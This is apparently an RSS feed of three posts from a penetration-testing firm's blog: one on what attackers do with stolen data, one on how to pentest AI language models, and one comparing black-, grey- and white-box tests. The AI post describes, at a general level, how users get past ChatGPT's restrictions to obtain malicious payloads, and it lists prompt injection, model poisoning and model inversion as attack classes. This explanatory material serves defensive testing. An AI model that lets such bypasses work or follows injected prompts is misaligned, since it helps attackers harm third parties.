Web Application Security Testing https://zigrin.com/ Find vulnerabilities before criminals do Thu, 06 Mar 2025 19:24:36 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://zigrin.com/wp-content/uploads/2021/11/cropped-favicon-32x32.png Web Application Security Testing https://zigrin.com/ 32 32 What do Cyber Threat Actors do with your information? https://zigrin.com/what-do-cyber-threat-actors-do-with-your-information/ Wed, 11 Oct 2023 11:00:00 +0000 https://zigrin.com/?p=12413 In today’s digital age, the threat of data breaches is a constant concern. Hackers are becoming more sophisticated in their techniques, targeting individuals and businesses alike. The consequences of a cyberattack can be devastating, leading to financial loss, reputational damage, and even legal issues. Therefore, it is crucial to understand what hackers are planning to […]

Artykuł What do Cyber Threat Actors do with your information? pochodzi z serwisu Web Application Security Testing.

]]>
In today’s digital age, the threat of data breaches is a constant concern. Hackers are becoming more sophisticated in their techniques, targeting individuals and businesses alike. The consequences of a cyberattack can be devastating, leading to financial loss, reputational damage, and even legal issues. Therefore, it is crucial to understand what hackers are planning to do with your data and take proactive measures to protect it. In this article, we will explore the motivations of the hackers, which threat actors target which data, how to protect yourself or your organization against these threat actors, and most importantly what these threat actors do with your data.

Understanding the Motivations of Hackers

Hackers have various motivations for targeting individuals and organizations. While some hackers are driven by financial gain, others may seek recognition, political motives, or simply the thrill of the challenge. By understanding their motivations, we can better comprehend the risks and develop effective strategies to protect ourselves.

Financial Gain

One of the primary motivations for hackers is financial gain. Cybercriminals can profit by stealing sensitive information and selling it on the dark web to other criminals. There are some other ways to make money from data described further in the article. The main point is money is a big motivation to steal data.

Espionage and Political Motives

In some cases, hackers may target organizations or governments for espionage or political reasons. State-sponsored hacking is a growing concern, with governments using cyberattacks to gather intelligence, disrupt infrastructure, or compromise national security. Hackers may also target organizations with valuable intellectual property or trade secrets, aiming to gain a competitive advantage or disrupt their operations.

Hacktivism and Ideological Motives

Hacktivism refers to hacking activities undertaken for ideological or political reasons. Hacktivists often target organizations or individuals they perceive as unethical or oppressive. Their goal is to expose wrongdoing, raise awareness, or advocate for a particular cause. They could leak classified information to damage the reputation of target organizations or just prove their point to the public.

Thrill and Challenge

For some hackers, the thrill and challenge of breaking into secure systems are the primary motivations. These hackers may not have specific malicious intent but engage in hacking for personal satisfaction or to prove their technical skills. 

which data do malicious hackers steal

Which threat actors would like to obtain which data?

Let’s have a look at the types of threat actors and what type of data they would like to obtain. For a detailed threat actor description do not forget to check out our blog article about selecting between black-box, white-box, and grey-box penetration tests and also you would know which pentest you need against a specific threat actor.

Financially Motivated Threat Actors

Financially motivated threat actors are the most populated kind of threat actors. They would come for all kinds of data since data like credit card numbers equal directly to money, government or corporate secrets can be sold, and they can encrypt all kinds of critical data for ransom.

Nation-state Threat Actors

Nation-state threat actors would love to obtain government secrets and critical infrastructure data. They wouldn’t say no to corporate intellectual property since it can be used for further attacks.

Hacktivists and Thrill Seekers

Hacktivists and thrill seekers are very similar to nation-state threat actors since their targets are mainly governments or corporations that have close relationships with governments. 

Insider Threat Actors

Insider threat actors are a little bit like a general cluster. A threat actor could be an insider and also financially motivated or could be an insider and hacktivist at the same time. Also, they could be nation-state threat actors but it is a very unlikely scenario and probably would lead to a spy movie.

Here is a table to match between threat actors and the data type they would like to obtain:

what data do hackers want to steal

How Hackers Gain Access To Your Information

Hackers employ various methods and techniques to gain unauthorized access to systems and networks. Understanding these methods is essential for implementing effective cybersecurity measures. Let’s explore some common techniques used by hackers.

Phishing Attacks

Phishing attacks are one of the most common and successful methods used by hackers. In a phishing attack, hackers impersonate legitimate organizations or individuals to trick employees into revealing sensitive information such as login credentials or financial details. These attacks often occur through tricky emails, text messages, or phone calls, enticing or fearing unsuspecting victims into providing their information.

phishing attack

Malware and Ransomware

Malware, short for malicious software, is a broad term that encompasses various types of software designed to harm or gain unauthorized access to systems. Hackers use malware to infect computers and networks, enabling them to steal data, spy on users, or gain control over systems. Ransomware on the other hand encrypts victims’ data and demands a ransom in exchange for the decryption key. 

Brute Force Attacks

Brute force attacks involve systematically trying all possible combinations of passwords until the correct one is found. Hackers use automated tools to rapidly attempt multiple password combinations, exploiting weak or easily guessable passwords. This method can be time-consuming but can be successful if the targeted system has no security measurement against such an attack and has weak password policies or uses common passwords.

Main Course

Finally, here we are to answer the question of what hackers do with your stolen data. This part varies mainly between which type of data hackers obtained. As we mentioned in the previous part, there are six major data types; credit card and payment information, credentials of accounts, government secrets, personally identifiable information (PII), corporate intellectual Property (IP), and critical infrastructure data.

Probably the simplest one is the first one, credit card or payment data. In a scenario where your working credit card information is leaked or stolen by hackers, they are likely to use it themselves and buy something with it. In the other hand, there are some clever hackers that generally use it to laundry your money with various techniques and turn your balance into direct cash. Hold your seats because there is one more intelligence level for hackers that steal your credit card information, they sell it online. Yes, even though this last method is the least profitable, it is the most secure one. Since money is not much valuable in jail this method is only used by elite financially motivated threat actors.

The second scenario is about account credentials. This kind of data breach could lead to two main scenarios. The first one is selling it on the dark web. The second one is using it to obtain more information about your internal organization or yourself in a personal hack situation. But both first scenario is likely to be lead second one since the buyer of the credential is going to use it for some other cyber attack. Even though it is not possible to calculate the exact consequences, it is likely to be devastating. There are a high number of big corporations suffering from leaked account credentials leading to deeper breaches.

When hackers gain access to your personally identifiable information(PII) or easier to say  personal information, the consequences can extend far beyond the initial breach. Once in possession of your data, cybercriminals can exploit it for various purposes. One common objective is identity theft, where hackers assume your identity to commit fraudulent activities like opening credit accounts or making unauthorized purchases. This can leave victims with damaged credit scores and considerable financial losses or more likely to lead the first scenario which we mentioned above. Moreover, stolen personal information often finds its way to the black market, where it is sold to other criminals seeking to exploit it further. This underground economy thrives on illegally obtained data, enabling criminals to engage in additional illicit activities such as impersonation or even blackmail. Furthermore, hackers may deploy sophisticated phishing techniques using your stolen information to deceive you or others into revealing more sensitive details or login credentials. 

Corporate intellectual property(IP) is something like mixed personal information and government secrets. Threat actors generally sell corporate intellectual for money but of course, there are scenarios similar to personal information data.

Finally, government secrets and critical infrastructure data breach. This part is a combined because both of them have similar usage areas. Just like account credentials, there are two paths, but the second path eventually leads to the first for these two. The first path is to disrupt the operations of the target government or critical infrastructure. The second one is using the leaked data in other combined attacks and gain more information. But eventually second one only leads to the first one. Of course, some financially motivated threat actors could sell the leaked data but it would be a 3rd degree recursive path to disrupting the operations.

how to protect your data from hackers

Protecting Your Data from Hackers

Now that we understand which type of data is targeted by which threat actor,  motivations and methods of hackers, it’s crucial to implement robust cybersecurity measures to protect our data. Here are some essential steps you can take to safeguard your information:

Use Strong and Unique Passwords

Using strong and unique passwords for all your accounts is a fundamental cybersecurity practice. As we mentioned, ‘Account Credentials’ are target data type for all threat actors. 

Avoid using easily guessable passwords such as your name, birthdate, or “password123.” Instead, create complex passwords that include a combination of uppercase and lowercase letters, numbers, and special characters. Additionally, consider using a password manager to securely store and manage your passwords.

Enable Two-Factor Authentication

Two-factor authentication (2FA) adds an extra layer of security to your accounts. With 2FA enabled, you will need to provide additional verification, such as a unique code sent to your mobile device or email, along with your password to access your account. This adds an extra security barrier against hackers, even if they manage to obtain your password.

Keep Software and Systems Updated

Regularly updating your software and systems is critical for maintaining security. Software updates often include patches and fixes for known vulnerabilities, making it harder for hackers to exploit them. 

Educate Yourself and Your Employees

Stay informed about the latest threats and cybersecurity best practices. Educate yourself and your employees about phishing techniques, social engineering, and the importance of maintaining strong security measures. Regularly conduct cybersecurity training sessions to reinforce good security habits.

Implement Firewalls and Antivirus Software

Firewalls act as a barrier between your internal network and the external internet, monitoring and blocking unauthorized access. Antivirus software scans your system for malware and other malicious programs, removing or quarantining them to prevent further damage.

Regularly Backup Your Data

Regularly backing up your data is crucial in case of a cyberattack or data loss. Implement a robust backup strategy that includes both onsite and offsite backups. Test your backups regularly to ensure they are working correctly and can be restored if needed.

Encrypt Sensitive Data

Encrypting sensitive data adds an extra layer of protection, ensuring that even if hackers manage to access the data, they cannot read or use it without the encryption key. Use encryption tools or built-in encryption features in software to encrypt sensitive files and communications.

Monitor and Detect Anomalies

Implement monitoring systems and intrusion detection tools to identify any unusual activity or potential security breaches. Regularly review logs and alerts to detect any suspicious behavior or unauthorized access attempts. Promptly investigate and respond to any anomalies to minimize the impact of a potential cyberattack.

Perform Regular Penetration Testing

Penetration testing, also known as ethical hacking, involves simulating real-world cyberattacks to identify vulnerabilities in your systems and networks. Hire a professional penetration testing service provider like us to assess your security measures, identify weaknesses, and provide recommendations for improvement.

Conclusion

Protecting your data from hackers is an ongoing process that requires sleeplessness, education, and proactive measures. By understanding the data types, which threat actor would like to obtain which data, motivations, and methods of hackers, implementing robust cybersecurity practices, and staying informed about the latest threats, you can significantly reduce the risk of falling victim to a cyberattack.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł What do Cyber Threat Actors do with your information? pochodzi z serwisu Web Application Security Testing.

]]>
As an AI Language Model, Please Have Mercy on Me https://zigrin.com/as-an-ai-language-model-please-have-mercy-on-me/ Wed, 13 Sep 2023 11:00:00 +0000 https://zigrin.com/?p=12138 Before starting, there is one thing to clarify. This article is not about “How to use the benefits of AI language models while conducting penetration test”. This article is about “How to conduct a penetration test towards AI language models”. With that said, please do not forget business logic vulnerabilities. For example, if an AI […]

Artykuł As an AI Language Model, Please Have Mercy on Me pochodzi z serwisu Web Application Security Testing.

]]>
Before starting, there is one thing to clarify. This article is not about “How to use the benefits of AI language models while conducting penetration test”. This article is about “How to conduct a penetration test towards AI language models”.

With that said, please do not forget business logic vulnerabilities. For example, if an AI language model like ChatGPT has security features like “prevent malicious payload creation” or “do not answer threat actors” and an attacker could bypass these security features, that means there is a vulnerability and the AI instance is hacked.

AI pentest

The famous ChatGPT

AI did not start to be known by ChatGPT but it accelerated it a lot as we all know. One of the main reasons is the first time regular people used AI besides scientists, researchers, and companies. Quick and surprisingly well-written answers also mesmerized the ChatGPT users.

ChatGPT pentesting

This popularity also brings trouble to ChatGPT and makes it a target for attackers. A lot of security researchers and attackers tried to inject malicious payloads into the input box of ChatGPT and attempted various attacks like Remote Code Execution(RCE). Not everyone but some attackers managed to execute codes and generate a shell on ChatGPT. 

RCE is a dream for all penetration testers but ChatGPT is mostly criticized for business functional vulnerabilities. The reason behind that criticism is a publicly open tool that can create malicious payloads is threatening more than ChatGPT itself and could affect a lot of assets belonging to others. This quickly leads cyber security enthusiasts to examine and discovered that ChatGPT can generate malicious payloads. These payloads can vary from LFI to CSRF. Also, threat actors could use ChatGPT for creating automation scripts for scanning or exploit codes to take over commercial applications.

Although OpenAI, the firm behind ChatGPT, is constantly patching these vulnerabilities and updating its policy, attackers and security researchers are finding a way to bypass security restrictions and make ChatGPT a malicious code generator even today.

Why Should You Arrange a Penetration Test for Your AI Model as an Executive?

AI application security

Penetration testing AI models is crucial for several reasons. First, it allows you to gain a deeper understanding of what your AI models are learning from the data and how they make decisions. This knowledge is essential for explaining the model’s behavior to end-users. Second, penetration testing helps identify potential edge cases or scenarios that the model may not handle correctly. By addressing these issues before deployment, organizations can prevent costly failures and ensure the reliability of their AI models. Lastly, penetration testing might provide valuable insights that can be used to iterate and improve future models, leveraging the knowledge gained from the penetration testing process.

How to Conduct a Penetration Test for AI Models

penetration testing of ai systems
Source: https://www.researchgate.net/publication/349172682_Penetration_Testing_Artificial_Intelligence

1. Planning and Scoping

The first step in penetration testing AI models is to define the scope and objectives of the assessment. This includes identifying the specific AI model to be tested, understanding its functionality and potential use cases, and determining the desired outcomes of the pentest. It is crucial to establish clear goals and expectations to ensure a focused and effective testing process. You might select commercial applications like ChatGPT and Bard or you can use your own model or instance to test locally.

2. Reconnaissance and Information Gathering

Once the scope is defined, the pentester begins the reconnaissance phase, where they gather information about the AI model and its environment. This includes analyzing available documentation, studying the model’s architecture and dependencies, and identifying potential attack vectors. The reconnaissance phase helps the pentester gain a comprehensive understanding of the AI model’s structure and potential vulnerabilities.

Check the company website and any press releases for clues about the AI model. Look for terminology like “neural network,” “deep learning,” or “computer vision.” This helps determine how it was built and trained. You might find tasty tidbits about data sets used or frameworks like TensorFlow or MLFlow.

Look for any data on how the AI has performed in the real world. If it’s been deployed already, are there any public reports on its accuracy, or failures? Those golden nuggets can highlight its weaknesses and prime areas to target.

With some clever detective work, you’ll uncover valuable details about the AI model that would otherwise remain hidden. And the more you know about your target, the more effective your penetration test will be.

3. Threat Modeling and Attack Surface Analysis

Threat modeling involves identifying potential threats and vulnerabilities specific to the AI model. You need to analyze the attack surface, including input sources, data flows, and external integrations, to determine the most likely points of exploitation. By understanding the attack surface, you can develop a targeted and efficient testing strategy. Here are some examples you could use in the threat modeling stage of your pentest:

Feedback Loops

Sometimes models can get stuck in a loop, using their own predictions as input in a never-ending cycle. This often happens with generative models that create synthetic data, like images, text, or speech. The model generates low-quality samples, learns from those samples, and generates even lower-quality samples as a result.

To detect a feedback loop, check if your model’s output becomes progressively worse over multiple generations. See if the model produces repetitive, unrealistic, or nonsensical results. 

Be creative

The most successful penetration testers think outside the box. Don’t just throw standard hacking techniques at an AI and hope for the best. Get weird with it. AI models can be manipulated in strange and unexpected ways, so try approaches no sane hacker would ever think of. Teach the AI a nonsensical language, give it psychedelic images to analyze, play loud music while it’s training. Creativity is key.

4. Test Case Design and Execution

The actual pentest involves executing various testing techniques and methodologies to identify vulnerabilities in the AI model. This can include both manual and automated testing approaches.

As you guess there are standard vulnerabilities to be tested regardless of whether the web application is AI-based or not. Those vulnerabilities are SQL injection, SSRF, XSS, etc. Also, there are some vulnerabilities to be tested especially on AI-based applications. We also grouped these attacks according to whether the AI model is pre-trained or constantly trains with new input values or from other sources. Here are some attacks:

  • Input Manipulation(generic pentest): Testing the model’s response to different inputs, including valid and invalid data, to identify potential vulnerabilities or biases.
  • Adversarial Attacks(pre-trained): Crafting malicious inputs or adversarial examples to fool the model and assess its robustness.
  • Model Inversion(pre-trained): Attempting to extract sensitive information from the model by analyzing its responses to specific queries.
  • Model Poisoning(train constantly): Injecting malicious data into the training dataset to compromise the model’s performance or integrity.
  • Privacy Attacks(pre-trained): Assessing the model’s vulnerability to privacy attacks, such as membership inference or attribute inference attacks.
  • Prompt Injection(train constantly): Prompt injection involves manipulating input prompts to exploit vulnerabilities in AI models. Attackers add specific keywords, phrases, or patterns to input prompts to influence the model’s output. The goal is to trick the model into generating outputs that align with the attacker’s objectives.
security testing of AI

What skills do I need to become an AI pentester?

To hack AI models effectively, you’ll want to be skilled in:

Plus +++ Machine learning and deep learning. Know how models are built, trained, and deployed.

Plus ++ Python and popular ML libraries like TensorFlow, Keras, and PyTorch. Most models are developed using these tools.

Essential + Vulnerability analysis and penetration testing. The usual skills like reconnaissance, scanning, gaining access, and escalating privileges apply to AI models as well.

Essential + Creativity. Coming up with new ways to fool models requires thinking outside the box.

If you have a background in software engineering, data science, or cybersecurity, you’ll have a good foundation to build on. But a curious mind is the most important attribute.

AI pentester skills

Is hacking AI models legal?

Disclaimer: The information in this article is for educational purposes only and should not be construed as legal advice. If you are unsure about the legality of your actions, you should consult with an attorney.

Now we get into murky waters. In most cases, hacking any system without permission is illegal. However, some hacking of AI models may be allowed under certain conditions such as if you disclose your findings to the model owners and do not publicly release any sensitive data or get permission. The laws around AI and cybersecurity are still evolving, so proceed with caution. If in doubt, ask for explicit written permission to pentest the model. The following guidelines can help you ensure ethical conduct during the penetration process:

Obtain the appropriate consent from the organization or individual responsible for the AI model before conducting any penetration testing activities. Clearly communicate the purpose, scope, and potential risks involved in the pentest.

2. Data Privacy and Confidentiality

Respect data privacy and confidentiality throughout the penetration testing process. Ensure that any sensitive information or personally identifiable information (PII) obtained during the pentest is handled securely and in compliance with applicable regulations.

3. Responsible Disclosure

Follow responsible disclosure practices when reporting vulnerabilities to the organization. Provide clear and detailed information about the discovered vulnerabilities, along with recommendations for remediation. Allow the organization sufficient time to address the vulnerabilities before disclosing them publicly.

Conclusion

Pentesting AI models, such as ChatGPT, is crucial for identifying vulnerabilities, ensuring the security and reliability of these models, and maintaining public trust in AI technology. By following a systematic approach, utilizing specialized techniques, and adhering to ethical considerations, organizations can effectively assess and enhance the security posture of their AI models. As the field of AI continues to evolve, penetration testing will play a vital role in mitigating risks and ensuring the responsible deployment of AI technologies.

Remember, penetration testing should always be conducted by skilled professionals with a deep understanding of AI models and the associated security challenges. By prioritizing security and investing in rigorous testing, your organization can harness the full potential of AI while minimizing the potential risks.

Let’s talk about conducting cybersecurity research of your web application.

Book a chat with a cybersecurity expert

[contact-form-7]

Is this article helpful to you? Share it with your friends.

Artykuł As an AI Language Model, Please Have Mercy on Me pochodzi z serwisu Web Application Security Testing.

]]>
Black-box vs. Grey-box vs. White-box: Which Penetration Test Is Right for You? https://zigrin.com/black-box-vs-grey-box-vs-white-box-which-penetration-test-is-right-for-you/ Wed, 09 Aug 2023 11:00:00 +0000 https://zigrin.com/?p=12024 You need to know if your company’s security controls and defenses can withstand a real cyber attack. Penetration testing is how you find out, but with three main types, black-box, grey-box, and white-box, how do you choose? Don’t worry, we’ve got you covered. Penetration tests can sound intimidating, but it’s one of the best ways […]

Artykuł Black-box vs. Grey-box vs. White-box: Which Penetration Test Is Right for You? pochodzi z serwisu Web Application Security Testing.

]]>
You need to know if your company’s security controls and defenses can withstand a real cyber attack. Penetration testing is how you find out, but with three main types, black-box, grey-box, and white-box, how do you choose? Don’t worry, we’ve got you covered. Penetration tests can sound intimidating, but it’s one of the best ways to identify vulnerabilities before the bad guys do. Whether you want to simulate an outside hacker with no knowledge (black-box), a hacker with partial inside knowledge (grey-box), or a test with full access (white-box), one of these penetration test methods will fit your needs. You’ll gain valuable insights into weaknesses in your systems and ways to address them. Sleep better at night knowing your data and applications have been battle-tested. 

Let’s take a closer look at each penetration test approach so you can determine the right level of visibility and rigor for your organization. Knowledge is power, so power up and let’s get started 🙂

difference between black box grey box and white box testing

Black-box Penetration Testing: Testing From an Outside Perspective

Want to see how vulnerable your systems really are to outside attackers? black-box penetration testing is for you! With this approach, testers act as external hackers to simulate a cyber attack on your network and see what damage could be done.

As an enthusiastic business owner concerned about security, black-box testing is a great choice. Most penetration testers get a thrill out of the challenge of breaking into your system without any inside knowledge, and you get peace of mind knowing your defenses can withstand threats from the outside such as financially motivated threat actors or nation-state threat actors. It’s a win-win!

The penetration testers generally start at square one, doing reconnaissance to gather publicly available information about your company to help plan their digital infiltration. They scan for open ports, guess passwords, and analyze third-party software for weaknesses – using all the latest tools and techniques real hackers would employ.

When the test is complete, you’ll receive an exciting report detailing any vulnerabilities found and how to patch them up quickly. You can then make changes to strengthen firewalls, update software, improve passwords, and monitor for future threats. Think of it as an entertaining security audit!

Why wait to see if you can survive an actual cyber attack? Get black-box testing today and put your systems to the ultimate test. Your IT team and customers will thank you for taking action now to protect data and infrastructure from the types of threats that are becoming more common every day. Stay one step ahead of the hackers – you’ll be glad you did!

Grey-box Penetration Testing: Gaining Limited Internal Knowledge

Looking for the perfect level of penetration test insight? grey-box penetration testing could be just the solution for you! With grey-box testing, you provide the penetration test team with limited internal network access, allowing them to dive a bit deeper into your systems.

This approach is ideal if you want more vulnerability coverage than a black-box test but aren’t quite ready to expose all your digital secrets. The penetration testers gain access to things like roles, IP addresses, and server names but not full admin access. They’ll have an easier time mimicking real hacker behavior and spotting weaknesses that could lead to data breaches or system takeovers.

Compared to black-box testing where penetration testers go in blind, grey-box penetration tests are likely to uncover more critical risks and provide more comprehensive remediation reports. Your team receives actionable recommendations for closing security holes before cybercriminals discover and exploit them. Grey-box testing is a good choice against insider threat actors who does not have full access to the system and infrastructure. 

Worried about internal access compromising sensitive data or systems? Don’t be! Reputable penetration test firms follow strict confidentiality practices and only access information relevant to the agreed-upon scope. They have no interest in stealing or modifying your data – only helping you strengthen your security posture.

If you want maximum vulnerability visibility without a full internal reveal, grey-box penetration testing is the perfect choice. You’ll gain a wealth of insights to fortify your digital defenses while maintaining control over how much access is granted.

White-box Penetration Testing: Full Transparency Testing

Full Disclosure

With a white-box penetration test, you’re giving the ethical hackers the keys to the kingdom—full access to your systems and networks. This transparent approach allows them to fully analyze your infrastructure from the inside out to uncover vulnerabilities you never even knew existed and maybe would not find with black-box or grey-box penetration testing.

  • They’ll scour your systems with a fine-toothed comb, poking and prodding to find any weak spots or faults in your security defenses.
  • With privileged insider access, white-box testing will be extremely thorough. Penetration testers can scrutinize everything from your servers and network equipment to individual workstations and IoT devices.

Comprehensive Results

A white-box assessment will provide the most in-depth findings and recommendations to bolster your security. The testers will generate a robust report detailing each vulnerability discovered, how it can be exploited, and specific fixes to resolve the issues. They’ll also suggest long-term strategies to strengthen your overall cybersecurity posture.

  • You’ll gain invaluable insights from their “behind-the-scenes” vantage point and a roadmap for hardening your digital environment against real-world insider threats.
  • The transparency of a white-box test builds trust in the client-tester relationship and a shared understanding of your unique risks and priorities.

Maximizing Value

For many organizations, the benefits of a comprehensive white-box test far outweigh any temporary discomfort with granting such broad access. The more visibility and control you give the testers, the more value you’ll get from their work.

A white-box penetration test is ideal if you want to identify as many security flaws as possible and get expert guidance on how to systematically reduce vulnerabilities in your digital infrastructure. While it requires trust to let ethical hackers roam freely in your systems, the rewards of such radical transparency can be very good. A single test could uncover hidden threats and help you avoid a disastrous cyber attack!

Traitors!, Thrill seekers! , Hacktivists! , and Money Seekers!: Who should you be careful against?

Before we continue, let’s talk about threat actors first. This might sound irrelevant at first but how are you planning to choose a penetration test type if you do not even know who you want to be safe against?

There are 5 main types of threat actors; Insider threat actors which can count as traitors, Thrill seekers who evolved into modern trolls nowadays, Hacktivists cyber activists as the name suggests, Nation-state threat actors who generally governmental intelligence agencies or some professional cyber criminal organizations that worked with nations, and finally Financially Motivated threat actors who have the sole ambition of earning money by selling victim companies info or via ransomware.

threat actors

I am going to explain these threat actors one-by-one while giving general recommendations on which threat actor targets which type of organization. After that threat actors will be an important factor in deciding which one to choose; black-box, white-box, or grey-box.

Financially Motivated Threat Actors

The most common type of threat actors are individuals driven by financial motives. They seek profit and often focus on organizations that possess sensitive financial data.

  • If you are concerned about financially motivated actors, then a black-box pentest may be the best option. These actors are unlikely to have any inside knowledge of your organization compared to other threat actors, so a black-box test will simulate an attack from an external threat actor.

Nation-state Supported Threat Actors

Nation-state actors, on the other hand, are threat actors who receive support from governments. They exhibit high levels of sophistication and are capable of targeting organizations with critical infrastructure or valuable information.

  • If you are concerned about nation-state actors, then a white-box pentest may be the best option. These actors are often highly sophisticated and may have access to some of your organization’s internal information. A white-box test will allow the tester to simulate an attack from an insider threat actor.

Hacktivists and Thrill Seekers 

Hacktivists, as another category of threat actors, derive their motivation from political or social ideologies. They may direct their attention towards organizations they disagree with or believe to be promoting opposing ideologies.

Thrill seekers and trolls represent a different kind of threat actor group, motivated by the thrill or attention they gain from their actions. They may target organizations for no other reason than to see if they can get away with it.

  • If you are concerned about hacktivists or thrill seekers, then a grey-box pentest may be the best option. These actors are less likely to have the same level of sophistication as nation-state actors, so a grey-box test may be sufficient to identify and fix any vulnerabilities that they could exploit.

Insider Threat Actors

Lastly, insiders are threat actors who possess legitimate access to an organization’s systems. They are often the most dangerous threat actors because they have the knowledge and the ability to cause the most damage.

White-box penetration test is a better option than a grey-box penetration test for protecting against insider threat actors if the organization is willing to share the source code and configuration files with the pentester. This is because the pentester will have complete knowledge of the target system, which will allow them to identify and exploit any vulnerabilities that could be exploited by an insider threat actor.

If the organization is not willing to share the source code and configuration files with the pentester, then a grey-box pentest is the best option. This is because a grey-box pentest will still allow the pentester to identify and exploit vulnerabilities that could be exploited by an insider threat actor, but it will be less expensive, and less time-consuming than a white-box pentest.

penetration testing methods table

When Is Black-box Penetration Testing the Right Choice?

black box testing

When is black-box penetration testing the right choice for you? If you want to simulate a real-world attack, black-box testing is the way to go. This type of penetration test provides the most realistic results because ethical hackers have limited knowledge about your system.

Maximum Realism

Black-box testing provides the most authentic penetration test experience. The penetration testers only have access to information that an actual malicious hacker would, like your company’s website and public-facing servers except you are considering insider threats as threat actors. They have to find vulnerabilities and exploit them just like a real criminal hacker would. This helps identify weak spots in your security posture that could be abused by unauthorized individuals.

Unbiased Assessment

With no prior knowledge of your infrastructure or security measures, black-box tests provide an impartial evaluation of your cyber defenses. Penetration testers who conduct black-box penetration tests don’t make any assumptions based on previous tests or inside information. Each penetration test is approached with a fresh perspective.

Challenging But Effective

Black-box penetration tests can be more difficult and time-consuming since ethical hackers have limited visibility. However, the results provide an authentic assessment of your security strengths and weaknesses. If vulnerabilities are detected, you receive a legitimate report of the issues that must be addressed to bolster your cyber defenses. 

Why Choose Grey-box or White-box Penetration Testing Over Black-Box?

Why choose grey-box or white-box penetration testing? Because you want the fullest, most comprehensive evaluation of your system’s security or just more coverage than real-world scenarios to see more vulnerabilities. These more invasive methods will uncover vulnerabilities that basic black-box tests simply can’t detect.

See Your Defenses in Action

With grey-box or white-box testing, your penetration testers have access to information like network diagrams, source code, and admin credentials. This allows them to analyze how your security controls and defenses actually function when faced with an attack. They can spot gaps, weaknesses, or misconfigurations in your system that wouldn’t be apparent otherwise.

Simulate Realistic Threat Actors, Traitors!!

Advanced hackers often have insider information they’ve stolen or pieced together. Grey-box and white-box testing replicate these more sophisticated adversaries to strengthen your security against the latest threats. The penetration testers should have a wider range of tools and techniques at their disposal to imitate how real-world actors target systems with insider information.

Fix Deeper Issues

When penetration testers have greater visibility into your infrastructure, they can uncover more critical risks and the root causes behind them. Rather than just identifying surface-level vulnerabilities, they can trace problems back to their source in coding errors, design flaws, or faulty architecture. You’ll receive tailored recommendations for comprehensive, long-term solutions to shore up your security at its foundations.

In summary, choosing a higher-level penetration test like a grey-box or a white-box will provide you with key insights into how well your security controls actually function and how they stand up to advanced adversaries. While more intensive, the results can be invaluable in building robust, in-depth defenses for your digital assets. The extra investment is well worth the peace of mind.

Gray-box or White-box, Are They Similar?

Since grey-box and white-box penetration tests are similar to each other, we covered them together. But of course, there are differences between them as we mentioned above. Here are some brief characteristics of these two penetration testing methods:

  • Grey-box testing shares details about your network architecture and IP addresses, allowing penetration testers to probe for vulnerabilities more efficiently. They can focus their efforts on the areas that would be most appealing to hackers. 
  • White-box testing provides penetration testers administrative access to your systems and network devices. With full visibility into your infrastructure, the white-box penetration test delivers the most comprehensive evaluation of how susceptible you are to cyber threats. Testers have access to sensitive data and can test for vulnerabilities in a way that realistically simulates an insider attack.

How to Choose a Good Consultancy Firm

how to choose penetration testing company

Do Your Homework

The penetration test industry can be tricky to navigate, so make sure you do some digging to find a reputable firm. Check reviews from real clients to get a sense of their experience. See what certifications they hold. Also, see do they have any advisories, and if they how much and what type of advisories they have. These show they have proven skills and stay up-to-date with the latest penetration test techniques.

Experience Matters

Look for a consultancy firm with several years of experience specifically in penetration test. An ideal firm will have conducted hundreds of penetration tests across many industries. They’ll have encountered diverse systems and infrastructures, allowing them to handle any challenge. Experience also means they can work efficiently without excessive on-the-job learning. The last thing you want is a novice penetration tester fumbling around your network 😀

Swift and Smooth Communication Before Seal the Deal

When choosing a penetration testing consultancy, don’t overlook the important communication aspects before sealing the deal. The ability to communicate swiftly and accurately during the contract phase says a lot about a company’s professionalism and dedication to customer satisfaction. Look for quick responses to questions, and detailed descriptions tailored to your needs.

Meet the Team

The penetration testers themselves are the most crucial part of any consultancy. Ask to meet with the team who will work on your test. Look for highly skilled, professionally certified penetration testers who stay passionate about their craft. Their enthusiasm will shine through in the quality of work they produce. Strong soft skills are also important, as they’ll need to present findings to your team in a constructive, solutions-focused way.

Read Reviews and Case Studies

Do some research online to find reviews and ratings of different firms. Look for companies with mostly positive reviews mentioning things like actionable reports, reasonable pricing, and overall quality service. Also, check if the company provides case studies on past penetration test projects. This will give you an idea of their general process and deliverables. If they don’t share case studies due to confidentiality, they should at least be willing to provide references from past clients.

Stay Within Budget

Penetration testing services span a range of fees depending on the size and scope of work. However, a good consultancy will always provide transparency around their pricing and work within your budget. They can help determine the optimal level of testing needed to gain useful insights into your security posture without breaking the bank.

Trust Your Gut

Finally, go with a firm you feel comfortable with and confident in. Schedule calls to interview consultants, discuss the project, and determine if you feel at ease with their team and process. Your penetration test partner will have deep access to your systems, so you want to choose a company you can trust completely. If anything feels off, keep looking. The right firm for you is out there!

By evaluating experience, skills, passion, communication, and budget-friendliness, you’ll find a penetration test firm poised to provide maximum value. With the right partner, you’ll gain priceless peace of mind knowing your critical assets and infrastructure are protected from cyber threats. Choose wisely!

Everybody Loves Bullet Points in Articles

The choice between black-box, grey-box, and white-box testing depends on several factors, including the testing objectives, the level of access to the application, threat actors, and the testing resources available. Here are some bullet points for busy readers to see the differences 🙂

Black-box Testing:

  • Consider black-box testing if you trust your employees and want to perform the most realistic penetration test.
  • Black-box penetration tests can be more time-consuming to achieve the same vulnerabilities compared to grey-box and white-box testing but in the end, you will have a better understanding of your security posture.
  • Good to use against Financially Motivated Threat Actors.

Grey-box Testing:

  • Consider grey-box testing when you want to give intermediate knowledge of the internal workings of the application to penetration tester, but not complete access to the source code.
  • Grey-box testing is well-suited for web application security testing, as it considers both the high-level design environment and inter-operability conditions.
  • This approach allows for better variety and depth in test cases compared to black-box testing.
  • Grey-box testing techniques can help uncover potential vulnerabilities and issues that may not be apparent in black-box testing.
  • Good to use against Hacktivists and Thrill Seekers.

White-box Testing:

  • Opt for white-box testing when you can have complete knowledge of the internal data structures, logic flow, and source code.
  • White-box testing provides the most comprehensive coverage and allows for in-depth analysis of the application’s internals.
  • This approach is suitable for algorithm testing and when a high level of code accuracy is required.
  • White-box testing is typically performed by penetration testers and developers who have a deep understanding of the codebase.
  • Good to use against Nation-state Supported Threat Actors, and Insider Threat Actors.

Conclusion

